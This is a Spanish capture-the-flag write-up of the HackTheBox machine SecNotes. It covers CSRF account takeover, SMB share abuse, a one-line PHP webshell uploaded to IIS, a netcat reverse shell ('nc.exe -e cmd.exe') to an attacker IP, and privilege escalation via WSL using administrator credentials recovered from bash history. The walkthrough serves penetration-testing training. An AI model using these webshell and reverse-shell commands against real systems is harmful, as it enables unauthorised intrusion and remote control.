# SecNotes

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-3dc9c38437cf1282790918cac19e0a69bc829f47%2F1.png?alt=media)

**Publicado:** 16 de Junio de 2025\
**Autor:** José Miguel Romero aKa **x3m1Sec**\
**Dificultad:** ⭐ Easy

### 📝 Descripción

SecNotes es una máquina Windows de dificultad Easy de HackTheBox que presenta una aplicación web de notas seguras vulnerable a ataques CSRF. La explotación involucra el secuestro de cuentas de usuario, acceso a recursos compartidos SMB, ejecución de código remoto a través de IIS, y escalada de privilegios mediante el subsistema Windows Subsystem for Linux (WSL). Esta máquina es excelente para practicar técnicas de web hacking, enumeración de servicios Windows y escalada de privilegios en entornos híbridos Windows/Linux.

**Puntos clave de aprendizaje:**

* 🎯 Explotación de vulnerabilidades CSRF en aplicaciones web
* 🔑 Enumeración y explotación de servicios SMB
* 🌐 Subida de webshells y ejecución remota de comandos en IIS
* 🐧 Escalada de privilegios através de WSL (Windows Subsystem for Linux)
* 🔍 Análisis de historial de comandos para obtención de credenciales

### 🔭 Reconocimiento

#### 🏓 Ping para verificación en base a TTL

```bash
❯ ping -c2 10.10.10.97     
PING 10.10.10.97 (10.10.10.97) 56(84) bytes of data.
64 bytes from 10.10.10.97: icmp_seq=1 ttl=127 time=48.0 ms
64 bytes from 10.10.10.97: icmp_seq=2 ttl=127 time=47.7 ms

--- 10.10.10.97 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 47.695/47.870/48.046/0.175 ms
```

> 💡 **Nota**: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

#### 🔍 Escaneo de puertos

```bash
 ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.97 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
```

```bash
❯ echo $ports                                                  
80,445,8808
```

#### 🛠️ Enumeración de servicios

```bash
 nmap -sC -sV -p$ports 10.10.10.97 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 18:11 CEST
Nmap scan report for 10.10.10.97
Host is up (0.047s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-title: Secure Notes - Login
|_Requested resource was login.php
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 2h20m00s, deviation: 4h02m30s, median: 0s
| smb-os-discovery: 
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2025-06-16T09:11:41-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2025-06-16T16:11:44
|_  start_date: N/A

```

***

### 🎯 Enumeración de Servicios

#### 🌐 HTTP (Puerto 80) - Aplicación de Notas Seguras

Encontramos un panel de login de lo que parece ser una aplicación de notas seguras. Además hay una opción de registro.

**URL:** <http://10.10.10.97/login.php>

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-1c23bd68d176227f7f97164f94d00fce6fa1d6f4%2F2.png?alt=media)

Al registrarnos tenemos acceso a una serie de opciones

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-46a66bf5427410cf3374e0ba2b500b5ed448018e%2F3.png?alt=media)

#### 👤 Enumeración de usuarios

Hay un banner en el que podemos enumerar un usuario llamado **tyler**. También aparece en la sección de contacto.

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-c3e52ec5b713ba1e34ca3754655fe3c043249948%2F4.png?alt=media)

**🔨 Fuzzing de directorios**

El fuzzing de directorios no revela ningún otro recurso que añadir a nuestro scope como posible vía potencial de ataque.

```bash
feroxbuster -u http://10.10.10.97 -r  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --scan-dir-listings -C 503 -x php,xml,asp,aspx
                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.97
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢  Status Code Filters   │ [503]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 📂  Scan Dir Listings     │ true
 💲  Extensions            │ [php, xml, asp, aspx]
 🏁  HTTP methods          │ [GET]
 📍  Follow Redirects      │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       35l       85w     1223c http://10.10.10.97/login.php
200      GET       41l      106w     1569c http://10.10.10.97/register.php
500      GET       29l       89w     1208c http://10.10.10.97/db.php
200      GET       35l       85w     1223c http://10.10.10.97/Login.php
500      GET       29l       89w     1208c http://10.10.10.97/auth.php
200      GET       41l      106w     1569c http://10.10.10.97/Register.php
500      GET       29l       89w     1208c http://10.10.10.97/DB.php
```

### 🚨 Explotación Web - Ataque CSRF

#### 🎯 Identificación de la vulnerabilidad

Después de probar algunas cosas encuentro que puedo realizar un **CSRF** en la función `Contact Us`. Esta funcionalidad permite enviar mensajes a otros usuarios de la aplicación.

```bash
python3 -m http.server 80
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-4a9ca7ee11ad8b196a12303a96097616b3c92af9%2F5.png?alt=media)

#### 💣 Ejecución del CSRF

Trato de aprovecharme de esto cambiando la clave de tyler. Cambiaré la petición `POST` de la función `Change Password` a una `GET`, para que pueda cambiar la clave de Tyler por otra cuando visite mi enlace malicioso.

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-fc64919830e8069adbf102724d4e84a42e6e2113%2F7.png?alt=media)

Ahora puedo autenticarme como tyler:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-9de2d53e69769cb9d31b6d0a5aad8fe5ced703db%2F8.png?alt=media)

Al revisar sus notas encuentro lo que parece ser un recurso compartido y una contraseña:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-b9436d4ec1b88841bd7cc96910a7309dda340681%2F9.png?alt=media)

**Credenciales encontradas:**

```
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&
```

### 🗂️ Explotación SMB

#### 🔐 Validación de credenciales

Decido probar estas credenciales con el servicio SMB usando la herramienta netexec y confirmo que son válidas:

```bash
 netexec smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'
```

📁 Enumeración de recursos compartidos

```bash
netexec smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' --shares
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-c0bd3b2d849272cfcdd298543083923730ef476c%2F10.png?alt=media)

🔍 Exploración del recurso new-site

Enumeramos el recurso `new-site`, que lo único que parece contener en la web en construcción del sitio IIS que hay en el puerto 8808

```bash
smbclient \\\\10.10.10.97\\new-site -U "tyler"    
Password for [WORKGROUP\tyler]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jun 16 18:44:11 2025
  ..                                  D        0  Mon Jun 16 18:44:11 2025
  iisstart.htm                        A      696  Thu Jun 21 17:26:03 2018
  iisstart.png                        A    98757  Thu Jun 21 17:26:03 2018
```

Sin embargo, lo más interesante aquí, es que tyler tiene tiene permisos de lectura y escritura sobre este recurso.

```bash
smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' 
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-3c7e8c5f6622bea8c8b94d9cad1d7e42f642d1f9%2F11.png?alt=media)

#### 🚀 Acceso Inicial al Sistema

**❌ Intento fallido con psexec**

Primero intentamos sin éxito ganar acceso usando impacket-psexec:

```bash
impacket-psexec tyler:'92g!mA8BGjOirkL%OG*&'@10.10.10.97

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.10.97.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[*] Found writable share new-site
[*] Uploading file pAtUkzUP.exe
[*] Opening SVCManager on 10.10.10.97.....
[-] Error opening SVCManager on 10.10.10.97.....
[-] Error performing the installation, cleaning up: Unable to open SVCManager
```

#### 🕷️ Webshell a través de IIS

Así que optamos por la opción de intentar subir un archivo malicioso al directorio new-site que puede ser interpretado por el servidor IIS.

Me creo una webshell en php básica:

```php
echo "<?php system(\$_GET['cmd']); ?>" >> wwwshell.php
```

A continuación la subo al servidor SMB:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-411e4828d951574add2301a7a207d88c1ae6a9fd%2F12.png?alt=media)

```
http://10.10.10.97:8808/wwwshell.php?cmd=whoami
```

Y confirmamos la ejecución remota de comandos

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-316643ce451304d9606b32c63debe2e8f2206e18%2F13.png?alt=media)

Podríamos aprovechar esto para subir también la herramienta nc.exe al recureso smb /new-site y usarlo para establecer conexión con nuestro host de ataque

```
http://10.10.10.97:8808/wwwshell.php?cmd=nc.exe+-e+cmd.exe+10.10.14.7+443
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-c36147b1d84c433866ba2ad2cf7d91eab4c76235%2F14.png?alt=media)

Ganamos acceso al sistema y obtenemos la primera flag:

```powershell
C:\Users\tyler\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users\tyler\Desktop

08/19/2018  03:51 PM    <DIR>          .
08/19/2018  03:51 PM    <DIR>          ..
06/22/2018  03:09 AM             1,293 bash.lnk
08/02/2021  03:32 AM             1,210 Command Prompt.lnk
04/11/2018  04:34 PM               407 File Explorer.lnk
06/21/2018  05:50 PM             1,417 Microsoft Edge.lnk
06/21/2018  09:17 AM             1,110 Notepad++.lnk
06/16/2025  09:07 AM                34 user.txt
08/19/2018  10:59 AM             2,494 Windows PowerShell.lnk
               7 File(s)          7,965 bytes
               2 Dir(s)  13,859,487,744 bytes free

C:\Users\tyler\Desktop>type user.txt
type user.txt
```

### 🔝 Escalada de Privilegios

Tras un rato enumerando la máquina buscando algúna potencial vía de escalada de privilegios, decido subir Winpeas.exe para ver qué encuentra y veo algo interesante:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-045bfcf9ebc5c9547920b1c732cf3c44521a343e%2F15.png?alt=media)

#### 🐧 Descubrimiento de WSL

#### 🔗 Análisis del enlace bash.lnk

```powershell.exe
C:\Users\tyler\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users\tyler\Desktop

08/19/2018  03:51 PM    <DIR>          .
08/19/2018  03:51 PM    <DIR>          ..
06/22/2018  03:09 AM             1,293 bash.lnk
08/02/2021  03:32 AM             1,210 Command Prompt.lnk
04/11/2018  04:34 PM               407 File Explorer.lnk
06/21/2018  05:50 PM             1,417 Microsoft Edge.lnk
06/21/2018  09:17 AM             1,110 Notepad++.lnk
06/16/2025  09:07 AM                34 user.txt
08/19/2018  10:59 AM             2,494 Windows PowerShell.lnk
               7 File(s)          7,965 bytes
               2 Dir(s)  13,830,152,192 bytes free
```

Si revisamos el contenido de bash.lnk podremos ver que se está referenciando la ruta del binario de bash que ha encontrado Winpeas

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-4cd0a69d9c7c05d2ea1eeb4f888c422c60b71065%2F16.png?alt=media)

#### 🚪 Acceso al subsistema Linux

Al ejecutar el binario de bash comprobamos que accedemos a este subsistema Linux como **root**:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-7c5ab67c27566eeb0dd5031e2892356d98b6c385%2F17.png?alt=media)

#### 🔍 Búsqueda de credenciales en historial

Tras explorar el subsistema Linux y mejorar la TTY con Python, encuentro credenciales en el archivo `.bash_history` de root:

```bash
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@SECNOTES:~# ls -la
ls -la
total 8
drwx------ 1 root root  512 Jun 22  2018 .
drwxr-xr-x 1 root root  512 Jun 21  2018 ..
---------- 1 root root  398 Jun 22  2018 .bash_history
-rw-r--r-- 1 root root 3112 Jun 22  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
drwxrwxrwx 1 root root  512 Jun 22  2018 filesystem
root@SECNOTES:~# cat .bash_history
root@SECNOTES:~# cat .bash_history
cat .bash_history
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history 
less .bash_history
```

#### 🔑 Credenciales de Administrator

**Credenciales encontradas:**

```
administrator:u6!4ZwgwOM#^OBf#Nwnh
```

Ahora simplemente usamos netexec para validar esta credencial contra el servicio SMB:

```bash
netexec smb 10.10.10.97 -u 'administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh'
SMB         10.10.10.97     445    SECNOTES         [*] Windows 10 / Server 2016 Build 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
SMB         10.10.10.97     445    SECNOTES         [+] SECNOTES\administrator:u6!4ZwgwOM#^OBf#Nwnh (Pwn3d!)
```

Ganamos acceso al sistema usando impacket-psexec y ya podemos obtener la flag root.txt:

```bash
impacket-psexec administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-5959ad800de6c4a2927b199fa19688a1c5c6f034%2F18.png?alt=media)
